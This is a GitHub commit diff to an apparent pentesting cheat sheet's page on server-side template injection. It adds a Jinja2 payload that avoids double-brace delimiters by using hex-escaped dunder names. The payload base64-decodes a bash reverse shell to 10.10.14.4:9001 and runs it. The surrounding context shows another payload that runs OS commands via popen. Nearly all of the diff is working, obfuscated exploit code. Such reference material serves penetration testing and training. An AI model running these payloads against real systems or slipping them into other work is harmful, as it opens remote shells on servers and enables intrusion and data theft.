Skip to content

Commit f774ba6

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] one page modified
1 parent e2bfe2c commit f774ba6

File tree

1 file changed

+6
-0
lines changed
  • pentesting-web/ssti-server-side-template-injection

1 file changed

+6
-0
lines changed

pentesting-web/ssti-server-side-template-injection/README.md

+6
Original file line numberDiff line numberDiff line change
@@ -606,6 +606,12 @@ Simply modification of payload to clean up output and facilitate command input \
606606
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
607607
```
608608

609+
**Exploit SSTI without "{{" and "}}"**
610+
611+
```python
612+
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
613+
```
614+
609615
**Exploit the SSTI by writing an evil config file.**
610616

611617
```python

0 commit comments

Comments
 (0)